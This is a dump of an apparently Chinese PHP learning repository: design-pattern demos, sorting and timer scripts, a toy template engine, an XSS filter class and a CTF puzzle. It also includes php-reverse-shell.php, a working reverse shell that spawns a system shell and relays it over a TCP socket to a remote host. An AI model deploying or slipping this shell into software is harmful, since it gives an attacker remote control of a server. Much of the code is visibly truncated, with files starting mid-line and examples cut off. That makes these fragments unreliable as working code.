-
11 |
- 首页 12 |
- 音乐 13 |
- 歌曲 14 |
- 舞蹈 15 |
- hello 16 |
├── README.md ├── abstractFactory.php ├── adapter.php ├── bridge.php ├── builder.php ├── command.php ├── composite.php ├── coroutine.php ├── ctf.jpeg ├── datamap.php ├── decorator.php ├── delegation.php ├── dependInject.php ├── dutylist.php ├── facade.php ├── factory.php ├── findMaxStr.php ├── fluent.php ├── initFrame ├── README.md ├── action │ ├── Action.class.php │ └── TestAction.class.php ├── cache │ ├── 1d7c7a527b6335cc7a623305ca940e1findex.tpl.html │ └── f4edc3e7d90fc7c3f919d60aee1bb7d4test.tpl.html ├── config │ ├── config.xml │ └── profile.inc.php ├── doc │ └── initFrame.png ├── includes │ ├── Parse.class.php │ ├── Template.class.php │ ├── cache.inc.php │ ├── init.inc.php │ └── template.inc.php ├── index.php ├── templates │ ├── index.tpl │ └── test.tpl ├── templates_c │ ├── 1d7c7a527b6335cc7a623305ca940e1findex.tpl.php │ └── f4edc3e7d90fc7c3f919d60aee1bb7d4test.tpl.php └── test.php ├── iterator.php ├── mediator.php ├── memento.php ├── merge_ip.php ├── moreInstance.php ├── nullobject.php ├── observer.php ├── outsort.php ├── php-reverse-shell.php ├── pool.php ├── prototype.php ├── proxy.php ├── register.php ├── repository.php ├── servicelocator.php ├── sharePool.php ├── simpleFactory.php ├── singleInstance.php ├── specification.php ├── state.php ├── staticFactory.php ├── strategy.php ├── template.php ├── timeQueue.class.php ├── timeTask.php ├── visitor.php ├── xsshtml.class.php └── yield_sort.php /README.md: -------------------------------------------------------------------------------- 1 | # PHP 2 | ### 关于内存泄露与垃圾回收 3 | ```php 4 | 'x', 54 | 'cnt' => 8, 55 | ) 56 | ``` 57 | 58 | ### yield_sort.php 使用php模仿python的yield归并排序2个有序序列 59 | ``` 60 | 将已有序的子序列合并,得到完全有序的序列. 61 | 例: 62 | $a=[1,3,5,7,9,18,19,20]; 63 | $b=[2,4,6,8,22]; 64 | ➜ PHP git:(master) ✗ php yield_sort.php 65 | 1--->2--->3--->4--->5--->6--->7--->8--->9--->18--->19--->20--->22 66 | 场景1: 67 | 前端负载均衡,nginx日志分散在多个机器上时,有序合并所有日志 68 | ``` 69 | 70 | ### outsort.php 排序多个有序数组为一个有序数组(外排序) 71 | ``` 72 | $a = [1,5,7,11,25,78,90,102]; 73 | $b = [2,6,8,11,34,42,89,100,120,140]; 74 | $c = [4,9,13,27,55,72,92,102,111]; 75 | $d = [3,13,19,21,66,85,99,108,138]; 76 | 77 | 执行合并并且排序:php outsort.php 78 | 79 | 注:outsort.php是demo,这是一个不考虑内存大小的暴力方法,所有并非在外排序,方便演示的demo,而实际是不是这样的, 80 | 如果数组内容非常大是不可以这么排序的,$save_arr 在达到指定的count之后需要清空$save_arr并释放内存,将排好序的内容写入硬盘, 81 | 而$a,$b,$c,$d也是做演示,实际应该将文件分块以后逐步对小的文件块排序并保存,在读取时也是依次读取适当的内存数据,会有频繁的磁盘读写, 82 | 这个地方演示省去了。外排序即使文件再大通过分解最终合并也会完成排序,只是时间问题,当然相对 83 | 内排序要慢的多,而内排序是以空间换取时间的一种方式。(例如彩虹表暴力破解也是以空间换取时间的一种方式而已) 84 | 85 | 外排序的算法步骤如下: 86 | 假设文件需要分成k块读入,需要从小到大进行排序。 87 | (1)依次读入每个文件块,在内存中对当前文件块进行排序(应用恰当的内排序算法)。此时,每块文件相当于一个由小到大排列的有序队列。 88 | (2)在内存中建立一个最小值堆,读入每块文件的队列头。 89 | (3)弹出堆顶元素,如果元素来自第i块,则从第i块文件中补充一个元素到最小值堆。弹出的元素暂存至临时数组。 90 | (4)当临时数组存满时,将数组写至磁盘,并清空数组内容。 91 | (5)重复过程(3)、(4),直至所有文件块读取完毕。 92 | ``` 93 | 94 | 95 | ### timeQueue.class.php 96 | #### 基于redis的定时任务 97 | ``` 98 | $obj = new timeQueue(); 99 | //添加任务并制定多少秒之后执行 100 | $obj->add_task('test',[1,2],3); 101 | $obj->add_task('demo',[1,2],2); 102 | $obj->add_task('bug',[1,2],12); 103 | $obj->add_task('test',[3,4],1); 104 | $obj->add_task('test',[5,6],8); 105 | //回调函数 106 | $func = function ($args){ 107 | var_dump($args); 108 | }; 109 | //设置需要监听的任务 110 | $obj->listen_task('test',$func); 111 | $obj->listen_task('demo',$func); 112 | //移除一个已经注册了的任务 113 | $obj->remove_task('bug'); 114 | $obj->run(); 115 | 116 | --------------- 117 | 在相应时间之后,相关事件开始运行 118 | 119 | ``` 120 | 121 | ### timeTask.php 利用环形队列的思想实现一个定时任务 122 | ``` 123 | 功能与上面timeQueue.class.php一样,都是计时器定时任务的实现, 124 | 思想有所区别,上面是基于redis的zAdd实现,架构师之路上曾提出一个环形队列的思想, 125 | timeTask.php则是利用环形队列的思想代码实现,在一个闭合的圆环上形成3600个节点,每个节点上 126 | 维护一个index的值(需要旋转的圈数),实际环境中task应该固化而不是存在一个变量数组里, 127 | 因为假设进程奔溃,那么存储的task就消失了。当然,只是思想,代码可以继续完善 128 | 129 | //参数分别为:所执行的task,参数,延迟的时间 130 | timeTask::instance()->add_event('lock',[1,2,1],1); 131 | timeTask::instance()->add_event('root',[8,9,1],1); 132 | timeTask::instance()->add_event('test',[3,4,3],3); 133 | timeTask::instance()->add_event('test',[7,8,10],10); 134 | //设置回调函数 135 | $func = function($args){ 136 | echo date('Y-m-d H:i:s').",当前正在执行第".$args[2]."s任务...\n"; 137 | var_export($args); 138 | echo "\n\n"; 139 | }; 140 | timeTask::instance()->listen_task('test',$func); 141 | timeTask::instance()->listen_task('lock',$func); 142 | timeTask::instance()->listen_task('root',$func); 143 | #移除一个已经注册的任务 144 | timeTask::instance()->remove_task('root'); 145 | 146 | timeTask::instance()->run(); 147 | 148 | 执行结果: 149 | ➜ ~ php timeTask.php 150 | 2017-03-24 09:19:02,当前正在执行第1s任务... 151 | array ( 152 | 0 => 1, 153 | 1 => 2, 154 | 2 => 1, 155 | ) 156 | 157 | 2017-03-24 09:19:04,当前正在执行第3s任务... 158 | array ( 159 | 0 => 3, 160 | 1 => 4, 161 | 2 => 3, 162 | ) 163 | 164 | 2017-03-24 09:19:11,当前正在执行第10s任务... 165 | array ( 166 | 0 => 7, 167 | 1 => 8, 168 | 2 => 10, 169 | ) 170 | 171 | 172 | ``` 173 | 174 | ### PHP协程 coroutine.php 175 | ``` 176 | php coroutine.php 177 | 多任务调度器 178 | task A 0 179 | task BBB 0 180 | task A 1 181 | task BBB 1 182 | task A 2 183 | task BBB 2 184 | task A 3 185 | task BBB 3 186 | task A 4 187 | task BBB 4 188 | task BBB 5 189 | task BBB 6 190 | task BBB 7 191 | task BBB 8 192 | task BBB 9 193 | task BBB 10 194 | task BBB 11 195 | task BBB 12 196 | task BBB 13 197 | task BBB 14 198 | 两个任务是交替运行的, 而在第二个任务结束后, 只有第一个任务继续运行. 199 | ``` 200 | 201 | ### xsshtml.class.php filter xss php class ,xss过滤类 202 | ``` 203 | Usage: 204 | '; 207 | $xss = new XssHtml($html); 208 | $html = $xss->getHtml(); 209 | ?> 210 | PHP Version > 5.0 211 | IE7+ or other browser 212 | collect from phith0n 213 | ``` 214 | 215 | ### 一道PHP CTF 题目 216 | ``` 217 | 225 |
index.tpl文件
9 |由系统变量设置的分页:15
19 | $name的值:Lock设置if语句
21 | No 22 |设置Foreach语句
25 | 0 => 1文件引入:mmaaabbcc456123xzhes
34 | 35 | -------------------------------------------------------------------------------- /initFrame/cache/f4edc3e7d90fc7c3f919d60aee1bb7d4test.tpl.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 |test.tpl文件
9 |test val is :hello world
10 |name is: Lock
11 | 12 | -------------------------------------------------------------------------------- /initFrame/config/config.xml: -------------------------------------------------------------------------------- 1 | 2 |index.tpl文件
9 |由系统变量设置的分页:
19 | $name的值:{$name} 20 |设置if语句
22 | {if $num} 23 | Yes 24 | {else} 25 | No 26 | {/if} 27 |设置Foreach语句
30 | {foreach $arr(key,value)} 31 | {@key} => {@value}文件引入:{include file="test.php"}
35 | {#}我是PHP中的注释,在静态中是看不到的,只有在PHP源代码才可以看到{#} 36 | 37 | -------------------------------------------------------------------------------- /initFrame/templates/test.tpl: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 |test.tpl文件
9 |test val is :{$test}
10 |name is: {$name}
11 | 12 | -------------------------------------------------------------------------------- /initFrame/templates_c/1d7c7a527b6335cc7a623305ca940e1findex.tpl.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 |index.tpl文件
9 |由系统变量设置的分页:_config['pagesize']; ?>
19 | $name的值:_vars['name']; ?> 20 |设置if语句
22 | _vars['num']){ ?> 23 | Yes 24 | 25 | No 26 | 27 |设置Foreach语句
30 | _vars['arr'] as $key=>$value){ ?> 31 | =>文件引入:
35 | 36 | 37 | -------------------------------------------------------------------------------- /initFrame/templates_c/f4edc3e7d90fc7c3f919d60aee1bb7d4test.tpl.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 |test.tpl文件
9 |test val is :_vars['test']; ?>
10 |name is: _vars['name']; ?>
11 | 12 | -------------------------------------------------------------------------------- /initFrame/test.php: -------------------------------------------------------------------------------- 1 | _action(); 8 | 9 | 10 | $_tpl->assign('name','Lock'); 11 | $_tpl->display('test.tpl'); -------------------------------------------------------------------------------- /iterator.php: -------------------------------------------------------------------------------- 1 | data = $data; 22 | $this->posIndex = 0; 23 | } 24 | 25 | 26 | public function current() { 27 | $row = $this->data[$this->posIndex]; 28 | $row['ip'] = gethostbyname($row['url']); 29 | return $row; 30 | } 31 | 32 | public function next() { 33 | $this->posIndex++; 34 | } 35 | 36 | public function valid() { 37 | return $this->posIndex >= 0 && $this->posIndex < count($this->data); 38 | } 39 | 40 | public function key() { 41 | return $this->posIndex; 42 | 43 | } 44 | 45 | public function rewind() { 46 | $this->posIndex = 0; 47 | } 48 | 49 | } 50 | 51 | 52 | $array = array( 53 | array('url' => 'www.baidu.com'), 54 | array('url' => 'www.sina.com.cn'), 55 | array('url' => 'www.google.com'), 56 | array('url' => 'www.qq.com'), 57 | ); 58 | 59 | 60 | $coll = new SomeCollection($array); 61 | 62 | foreach ($coll as $row) { 63 | echo $row['url'], ' ', $row['ip'], PHP_EOL; 64 | } -------------------------------------------------------------------------------- /mediator.php: -------------------------------------------------------------------------------- 1 | _mediator = $mediator; 20 | } 21 | 22 | public function send($message) { 23 | $this->_mediator->send($message, $this); 24 | } 25 | 26 | abstract public function notify($message); 27 | } 28 | 29 | class Colleague1 extends Colleague { 30 | public function notify($message) { 31 | echo "Colleague1 Message is :" . $message . PHP_EOL; 32 | } 33 | } 34 | 35 | class Colleague2 extends Colleague { 36 | public function notify($message) { 37 | echo "Colleague2 Message is :" . $message . PHP_EOL; 38 | } 39 | } 40 | 41 | class ConcreteMediator extends Mediator { 42 | private $_colleague1 = null; 43 | private $_colleague2 = null; 44 | 45 | public function send($message, $colleague) { 46 | if ($colleague == $this->_colleague1) { 47 | $this->_colleague1->notify($message); 48 | } else { 49 | $this->_colleague2->notify($message); 50 | } 51 | } 52 | 53 | public function set($colleague1, $colleague2) { 54 | $this->_colleague1 = $colleague1; 55 | $this->_colleague2 = $colleague2; 56 | } 57 | } 58 | 59 | // 60 | $objMediator = new ConcreteMediator(); 61 | $objC1 = new Colleague1($objMediator); 62 | $objC2 = new Colleague2($objMediator); 63 | $objMediator->set($objC1, $objC2); 64 | $objC1->send("to c2 from c1"); 65 | $objC2->send("to c1 from c2"); -------------------------------------------------------------------------------- /memento.php: -------------------------------------------------------------------------------- 1 | state = $stateToSave; 23 | } 24 | 25 | public function getState() { 26 | return $this->state; 27 | } 28 | } 29 | 30 | 31 | /** 32 | * 发起人 33 | * Class originator 34 | */ 35 | class originator { 36 | private $state; 37 | 38 | public function setState($state){ 39 | $this->state = $state; 40 | } 41 | 42 | public function getStateAsMemento() { 43 | $state = is_object($this->state) ? clone $this->state : $this->state; 44 | return new Memento($state); 45 | } 46 | 47 | public function restoreFromMemento(Memento $memento) { 48 | $this->state = $memento->getState(); 49 | } 50 | 51 | } 52 | 53 | /** 54 | * 管理角色 55 | */ 56 | class Caretaker{ 57 | protected $history = []; 58 | 59 | public function getFromHistory($id) { 60 | return $this->history[$id]; 61 | } 62 | 63 | public function saveToHistory(Memento $state) { 64 | $this->history[] = $state; 65 | } 66 | 67 | public function runCustomLogic() { 68 | $originator = new Originator(); 69 | 70 | //设置状态为State1 71 | $originator->setState("State1"); 72 | //设置状态为State2 73 | $originator->setState("State2"); 74 | //将State2保存到Memento 75 | $this->saveToHistory($originator->getStateAsMemento()); 76 | //设置状态为State3 77 | $originator->setState("State3"); 78 | 79 | //我们可以请求多个备忘录, 然后选择其中一个进行回滚 80 | 81 | //保存State3到Memento 82 | $this->saveToHistory($originator->getStateAsMemento()); 83 | //设置状态为State4 84 | $originator->setState("State4"); 85 | 86 | $originator->restoreFromMemento($this->getFromHistory(1)); 87 | //从备忘录恢复后的状态: State3 88 | 89 | return $originator->getStateAsMemento()->getState(); 90 | } 91 | } 92 | 93 | $obj = new Caretaker(); 94 | $ret = $obj->runCustomLogic(); 95 | var_export($ret); -------------------------------------------------------------------------------- /merge_ip.php: -------------------------------------------------------------------------------- 1 | $value) { 49 | $merge_arr[]=['start'=>$key,'end'=>$value]; 50 | } 51 | $finsh_arr = []; 52 | $tmp = array_shift($merge_arr); 53 | foreach ($merge_arr as $k=>$ip_arr) { 54 | if($ip_arr['start']<$tmp['end'] && $ip_arr['end']<$tmp['end']){ 55 | continue; 56 | }elseif($ip_arr['start']<$tmp['end'] && $ip_arr['end']>$tmp['end']){ 57 | $tmp['end'] = $ip_arr['end']; 58 | }else{ 59 | $finsh_arr[]=$tmp; 60 | $tmp['start'] = $tmp['start']; 61 | if($ip_arr['start']>=$tmp['end']){ 62 | $tmp['start'] = $ip_arr['start']; 63 | } 64 | $tmp['end'] = max([$ip_arr['end'],$tmp['end']]); 65 | } 66 | } 67 | $finsh_arr[] = $tmp; 68 | $result = []; 69 | foreach ($finsh_arr as $ip_arr) { 70 | $result[]=long2ip($ip_arr['start']).'_'.long2ip($ip_arr['end']); 71 | } 72 | return implode(',',array_unique(array_filter($result))); 73 | } 74 | 75 | $d = trans_to_num($arr); 76 | $m = merge_ip($d); 77 | 78 | var_export($m); 79 | 80 | 81 | -------------------------------------------------------------------------------- /moreInstance.php: -------------------------------------------------------------------------------- 1 | logger = $log; 21 | } 22 | 23 | public function doSomething() { 24 | $this->logger->log('we are in ' . __METHOD__); 25 | } 26 | } 27 | 28 | class PrintLogger implements LoggerInterface { 29 | public function log($str) { 30 | echo $str; 31 | } 32 | } 33 | 34 | class NullLogger implements LoggerInterface { 35 | public function log($str) { 36 | // do nothing 37 | } 38 | } 39 | 40 | $service = new Service(new PrintLogger()); 41 | $service->doSomething(); 42 | 43 | $service2 = new Service(new NullLogger()); 44 | $service2->doSomething(); -------------------------------------------------------------------------------- /observer.php: -------------------------------------------------------------------------------- 1 | observer[]=$sub; 20 | } 21 | 22 | /** 23 | * 外部统一访问 24 | */ 25 | public function trigger(){ 26 | if(!empty($this->observer)){ 27 | foreach ($this->observer as $obj){ 28 | $obj->update(); 29 | } 30 | } 31 | } 32 | } 33 | 34 | /** 35 | * 观察者要实现的接口 36 | */ 37 | interface Observerable{ 38 | public function update(); 39 | } 40 | 41 | class Sub implements Observerable{ 42 | public function update(){ 43 | echo 'Sub execute update...'.PHP_EOL; 44 | } 45 | } 46 | 47 | class People implements Observerable{ 48 | public function update() { 49 | echo 'People execute update...'.PHP_EOL; 50 | } 51 | } 52 | 53 | $paperObj = new Paper(); 54 | $paperObj->register(new Sub()); 55 | $paperObj->register(new People()); 56 | $paperObj->trigger(); -------------------------------------------------------------------------------- /outsort.php: -------------------------------------------------------------------------------- 1 | 0) { 62 | foreach ($mix_arr as $value) { 63 | $save_arr[] = $value; 64 | } 65 | } 66 | break; 67 | } 68 | } 69 | 70 | return $save_arr; 71 | } 72 | 73 | 74 | $v = sort_arr($a,$b,$c,$d); 75 | var_export($v); 76 | -------------------------------------------------------------------------------- /php-reverse-shell.php: -------------------------------------------------------------------------------- 1 | array("pipe", "r"), // stdin is a pipe that the child will read from 71 | 1 => array("pipe", "w"), // stdout is a pipe that the child will write to 72 | 2 => array("pipe", "w") // stderr is a pipe that the child will write to 73 | ); 74 | 75 | $process = proc_open($shell, $descriptorspec, $pipes); 76 | 77 | if (!is_resource($process)) { 78 | printit("ERROR: Can't spawn shell"); 79 | exit(1); 80 | } 81 | 82 | // Set everything to non-blocking 83 | // Reason: Occsionally reads will block, even though stream_select tells us they won't 84 | stream_set_blocking($pipes[0], 0); 85 | stream_set_blocking($pipes[1], 0); 86 | stream_set_blocking($pipes[2], 0); 87 | stream_set_blocking($sock, 0); 88 | 89 | printit("Successfully opened reverse shell to $ip:$port"); 90 | 91 | while (1) { 92 | // Check for end of TCP connection 93 | if (feof($sock)) { 94 | printit("ERROR: Shell connection terminated"); 95 | break; 96 | } 97 | 98 | // Check for end of STDOUT 99 | if (feof($pipes[1])) { 100 | printit("ERROR: Shell process terminated"); 101 | break; 102 | } 103 | 104 | // Wait until a command is end down $sock, or some 105 | // command output is available on STDOUT or STDERR 106 | $read_a = array($sock, $pipes[1], $pipes[2]); 107 | $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); 108 | 109 | // If we can read from the TCP socket, send 110 | // data to process's STDIN 111 | if (in_array($sock, $read_a)) { 112 | if ($debug) printit("SOCK READ"); 113 | $input = fread($sock, $chunk_size); 114 | if ($debug) printit("SOCK: $input"); 115 | fwrite($pipes[0], $input); 116 | } 117 | 118 | // If we can read from the process's STDOUT 119 | // send data down tcp connection 120 | if (in_array($pipes[1], $read_a)) { 121 | if ($debug) printit("STDOUT READ"); 122 | $input = fread($pipes[1], $chunk_size); 123 | if ($debug) printit("STDOUT: $input"); 124 | fwrite($sock, $input); 125 | } 126 | 127 | // If we can read from the process's STDERR 128 | // send data down tcp connection 129 | if (in_array($pipes[2], $read_a)) { 130 | if ($debug) printit("STDERR READ"); 131 | $input = fread($pipes[2], $chunk_size); 132 | if ($debug) printit("STDERR: $input"); 133 | fwrite($sock, $input); 134 | } 135 | } 136 | 137 | fclose($sock); 138 | fclose($pipes[0]); 139 | fclose($pipes[1]); 140 | fclose($pipes[2]); 141 | proc_close($process); 142 | 143 | // Like print, but does nothing if we've daemonised ourself 144 | // (I can't figure out how to redirect STDOUT like a proper daemon) 145 | function printit ($string) { 146 | if (!$daemon) { 147 | print "$string\n"; 148 | } 149 | } 150 | 151 | ?> 152 | 153 | 154 | 155 | -------------------------------------------------------------------------------- /pool.php: -------------------------------------------------------------------------------- 1 | id = $id; 17 | } 18 | 19 | public function getId() { 20 | return $this->id; 21 | } 22 | } 23 | 24 | class Factory { 25 | 26 | protected static $products = array(); 27 | 28 | public static function pushProduct(Product $product) { 29 | self::$products[$product->getId()] = $product; 30 | } 31 | 32 | public static function getProduct($id) { 33 | return isset(self::$products[$id]) ? self::$products[$id] : null; 34 | } 35 | 36 | public static function removeProduct($id) { 37 | if (array_key_exists($id, self::$products)) { 38 | unset(self::$products[$id]); 39 | } 40 | } 41 | } 42 | 43 | 44 | Factory::pushProduct(new Product('first')); 45 | Factory::pushProduct(new Product('second')); 46 | 47 | print_r(Factory::getProduct('first')->getId()); 48 | print_r(Factory::getProduct('second')->getId()); -------------------------------------------------------------------------------- /prototype.php: -------------------------------------------------------------------------------- 1 | font = $font; 23 | $this->size = $size; 24 | $this->color = $color; 25 | } 26 | 27 | public function echoInfo(){ 28 | printf("%s,%s,%s",$this->font,$this->size,$this->color); 29 | } 30 | 31 | public function copy() { 32 | return clone $this; 33 | } 34 | } 35 | 36 | 37 | $md = new text('微软雅黑','12px','黑色'); 38 | $md->echoInfo(); 39 | 40 | $md2 = $md->copy(); 41 | echo $md2->font; 42 | $md2->echoInfo(); -------------------------------------------------------------------------------- /proxy.php: -------------------------------------------------------------------------------- 1 | printer = $printer; 24 | } 25 | 26 | public function sellPaper() { 27 | //卖纸 28 | echo 'give you some paper '; 29 | } 30 | 31 | public function __call($method, $args) { 32 | //将代理对象有的功能交给代理对象处理 33 | if (method_exists($this->printer, $method)) { 34 | $this->printer->$method($args); 35 | } 36 | } 37 | } 38 | 39 | class PhotoShop { 40 | //这是一个照相店,只文印,拍照,不卖纸 41 | private $printer; 42 | 43 | public function __construct(Printer $printer) { 44 | $this->printer = $printer; 45 | } 46 | 47 | public function takePhotos() { //照相 48 | echo 'take photos for you '; 49 | } 50 | 51 | public function __call($method, $args) { 52 | //将代理对象有的功能交给代理对象处理 53 | if (method_exists($this->printer, $method)) { 54 | $this->printer->$method($args); 55 | } 56 | } 57 | } 58 | 59 | $printer = new Printer(); 60 | $textShop = new TextShop($printer); 61 | $photoShop = new PhotoShop($printer); 62 | 63 | $textShop->printSth('textShop'); 64 | $photoShop->printSth('photoShop'); -------------------------------------------------------------------------------- /register.php: -------------------------------------------------------------------------------- 1 | id = $id; 21 | } 22 | 23 | public function getId() { 24 | return $this->id; 25 | } 26 | 27 | public function setAuthor($author) { 28 | $this->author = $author; 29 | } 30 | 31 | public function getAuthor() { 32 | return $this->author; 33 | } 34 | 35 | public function setCreated($created) { 36 | $this->created = $created; 37 | } 38 | 39 | public function getCreated() { 40 | return $this->created; 41 | } 42 | 43 | public function setText($text) { 44 | $this->text = $text; 45 | } 46 | 47 | public function getText() { 48 | return $this->text; 49 | } 50 | 51 | public function setTitle($title) { 52 | $this->title = $title; 53 | } 54 | 55 | public function getTitle() { 56 | return $this->title; 57 | } 58 | } 59 | 60 | 61 | class PostRepository { 62 | private $persistence; 63 | 64 | public function __construct(Storage $persistence) { 65 | $this->persistence = $persistence; 66 | } 67 | 68 | /** 69 | * 通过指定id返回Post对象 70 | * @param int $id 71 | * @return Post|null 72 | */ 73 | public function getById($id) { 74 | $arrayData = $this->persistence->retrieve($id); 75 | if (is_null($arrayData)) { 76 | return null; 77 | } 78 | 79 | $post = new Post(); 80 | $post->setId($arrayData['id']); 81 | $post->setAuthor($arrayData['author']); 82 | $post->setCreated($arrayData['created']); 83 | $post->setText($arrayData['text']); 84 | $post->setTitle($arrayData['title']); 85 | 86 | return $post; 87 | } 88 | 89 | /** 90 | * 保存指定对象并返回 91 | * @param Post $post 92 | * @return Post 93 | */ 94 | public function save(Post $post) { 95 | $id = $this->persistence->persist(array( 96 | 'author' => $post->getAuthor(), 97 | 'created' => $post->getCreated(), 98 | 'text' => $post->getText(), 99 | 'title' => $post->getTitle() 100 | )); 101 | $post->setId($id); 102 | return $post; 103 | } 104 | 105 | /** 106 | * 删除指定的 Post 对象 107 | * @param Post $post 108 | * @return bool 109 | */ 110 | public function delete(Post $post) { 111 | return $this->persistence->delete($post->getId()); 112 | } 113 | } 114 | 115 | interface Storage { 116 | /** 117 | * 持久化数据方法 118 | * 返回新创建的对象ID 119 | * @param array() $data 120 | * @return int 121 | */ 122 | public function persist($data); 123 | 124 | /** 125 | * 通过指定id返回数据 126 | * 如果为空返回null 127 | * @param int $id 128 | * @return array|null 129 | */ 130 | public function retrieve($id); 131 | 132 | /** 133 | * 通过指定id删除数据 134 | * 如果数据不存在返回false,否则如果删除成功返回true 135 | * @param int $id 136 | * @return bool 137 | */ 138 | public function delete($id); 139 | } 140 | 141 | class MemoryStorage implements Storage { 142 | 143 | private $data; 144 | private $lastId; 145 | 146 | public function __construct() { 147 | $this->data = array(); 148 | $this->lastId = 0; 149 | } 150 | 151 | public function persist($data) { 152 | $this->data[++$this->lastId] = $data; 153 | $this->data[$this->lastId]['id'] = $this->lastId; 154 | return $this->lastId; 155 | } 156 | 157 | public function retrieve($id) { 158 | return isset($this->data[$id]) ? $this->data[$id] : null; 159 | } 160 | 161 | public function delete($id) { 162 | if (!isset($this->data[$id])) { 163 | return false; 164 | } 165 | $this->data[$id] = null; 166 | unset($this->data[$id]); 167 | return true; 168 | } 169 | } 170 | 171 | $obj = new PostRepository(new MemoryStorage()); 172 | $post = new Post(); 173 | $post->setAuthor('lock'); 174 | $post->setCreated('create'); 175 | $post->setTitle('Lock Test'); 176 | $post->setText('Lock Test Text Area'); 177 | $obj->save($post); 178 | 179 | var_export($obj->getById(1)); 180 | -------------------------------------------------------------------------------- /servicelocator.php: -------------------------------------------------------------------------------- 1 | _services[$id]) || isset($this->_definitions[$id]); 42 | } 43 | 44 | public function __get($id) { 45 | if ($this->has($this->id)) { 46 | $this->get($id); 47 | } 48 | 49 | // another implement 50 | } 51 | 52 | public function get($id) { 53 | if (isset($this->_services[$id]) && $this->_shared[$id]) { 54 | return $this->_services[$id]; 55 | } 56 | 57 | if (isset($this->_definitions[$id])) { 58 | // 实例化 59 | $definition = $this->_definitions[$id]; 60 | $object = Creator::createObject($definition);//省略服务实例化实现 61 | if ($this->_shared[$id]) { 62 | $this->_services[$id] = $object; 63 | } 64 | 65 | return $object; 66 | } 67 | 68 | throw new Exception("无法定位服务{$id}"); 69 | } 70 | 71 | public function set($id, $definition, $share = false) { 72 | if ($definition === null) { 73 | unset($this->_services[$id], $this->_definitions[$id]); 74 | return; 75 | } 76 | 77 | unset($this->_services[$id]); 78 | $this->_shared[$id] = $share; 79 | if (is_string($definition)) { 80 | return $this->_definitions[$id] = $definition; 81 | } 82 | if (is_object($definition) || is_callable($definition, true)) { 83 | return $this->_definitions[$id] = $definition; 84 | } 85 | 86 | if (is_array($definition)) { 87 | if (isset($definition['class'])) { 88 | return $this->_definitions[$id] = $definition; 89 | } 90 | } 91 | 92 | throw new Exception("服务添加失败"); 93 | } 94 | } 95 | -------------------------------------------------------------------------------- /sharePool.php: -------------------------------------------------------------------------------- 1 | state = $state; 17 | } 18 | function show(){ 19 | return $this->state; 20 | } 21 | } 22 | //不共享的具体享元角色,客户端直接调用 23 | class UnsharedConcreteFlyweight implements Flyweight{ 24 | private $state; 25 | function __construct($state){ 26 | $this->state = $state; 27 | } 28 | function show(){ 29 | return $this->state; 30 | } 31 | } 32 | //享元工厂模式 33 | class FlyweightFactory{ 34 | private $flyweights = array(); 35 | function getFlyweight($state){ 36 | if(!isset($this->flyweights[$state])){ 37 | $this->flyweights[$state]=new ConcreteFlyweight($state); 38 | } 39 | return $this->flyweights[$state]; 40 | } 41 | } 42 | 43 | //测试 44 | $flyweightFactory = new FlyweightFactory(); 45 | $flyweightOne = $flyweightFactory->getFlyweight("state A"); 46 | echo $flyweightOne->show(); 47 | $flyweightTwo = new UnsharedConcreteFlyweight("state B"); 48 | echo $flyweightTwo->show(); 49 | /* 50 | state A 51 | state B 52 | */ -------------------------------------------------------------------------------- /simpleFactory.php: -------------------------------------------------------------------------------- 1 | typeList = array( 16 | 'mysql'=>'mysql', 17 | 'oracle'=>'oracle' 18 | ); 19 | } 20 | 21 | public function getDb($type){ 22 | if(!in_array($type,$this->typeList)){ 23 | exit('error'); 24 | } 25 | $className = $this->typeList[$type]; 26 | return new $className; 27 | } 28 | 29 | } 30 | 31 | /** 32 | * Interface connect 33 | */ 34 | interface connect{ 35 | public function connect_db(); 36 | } 37 | 38 | class mysql implements connect{ 39 | public function connect_db() { 40 | echo 'mysql connect to db server ...'; 41 | } 42 | } 43 | 44 | class oracle implements connect{ 45 | public function connect_db() { 46 | echo 'oracle connect to db server ...'; 47 | } 48 | } 49 | 50 | 51 | $dbObj = new dbFactory(); 52 | $mysql = $dbObj->getDb('mysql'); 53 | $mysql->connect_db(); -------------------------------------------------------------------------------- /singleInstance.php: -------------------------------------------------------------------------------- 1 | work(); -------------------------------------------------------------------------------- /specification.php: -------------------------------------------------------------------------------- 1 | price = $price; 60 | } 61 | 62 | public function getPrice() { 63 | return $this->price; 64 | } 65 | } 66 | 67 | /** 68 | * Class Plus 69 | */ 70 | class Plus extends AbstractSpecification { 71 | protected $left; 72 | protected $right; 73 | 74 | // 创建两个规格的和逻辑 75 | public function __construct( 76 | SpecificationInterface $left, 77 | SpecificationInterface $right 78 | ) { 79 | $this->left = $left; 80 | $this->right = $right; 81 | } 82 | 83 | // 检查规格的组合AND逻辑是否通过 84 | public function isSatisfiedBy(Item $item) { 85 | return $this->left->isSatisfiedBy($item) 86 | && $this->right->isSatisfiedBy($item); 87 | } 88 | } 89 | 90 | /** 91 | * Class Either 92 | */ 93 | class Either extends AbstractSpecification { 94 | protected $left; 95 | protected $right; 96 | 97 | // 创建一个封装了两个规格组合的新规格 98 | public function __construct( 99 | SpecificationInterface $left, 100 | SpecificationInterface $right 101 | ) { 102 | $this->left = $left; 103 | $this->right = $right; 104 | } 105 | 106 | // 逻辑或是否成立 107 | public function isSatisfiedBy(Item $item) { 108 | return $this->left->isSatisfiedBy($item) 109 | || $this->right->isSatisfiedBy($item); 110 | } 111 | } 112 | 113 | /** 114 | * Class Not 115 | */ 116 | class Not extends AbstractSpecification { 117 | protected $spec; 118 | 119 | // 创建一个新的规格封装了另外一个规格 120 | public function __construct(SpecificationInterface $spec) { 121 | $this->spec = $spec; 122 | } 123 | 124 | // 返回封装规格的取反结果 125 | public function isSatisfiedBy(Item $item) { 126 | return !$this->spec->isSatisfiedBy($item); 127 | } 128 | } 129 | 130 | /** 131 | * 价格规格 132 | * Class PriceSpecification 133 | */ 134 | class PriceSpecification extends AbstractSpecification { 135 | protected $maxPrice; 136 | protected $minPrice; 137 | 138 | // 设置可选的最高价 139 | public function setMaxPrice($maxPrice) { 140 | $this->maxPrice = $maxPrice; 141 | } 142 | 143 | 144 | // 设置可选的最低价 145 | public function setMinPrice($minPrice) { 146 | $this->minPrice = $minPrice; 147 | } 148 | 149 | // 检查价格是否在最大和最小之间 150 | public function isSatisfiedBy(Item $item) { 151 | if (!empty($this->maxPrice) && $item->getPrice() > $this->maxPrice) { 152 | return 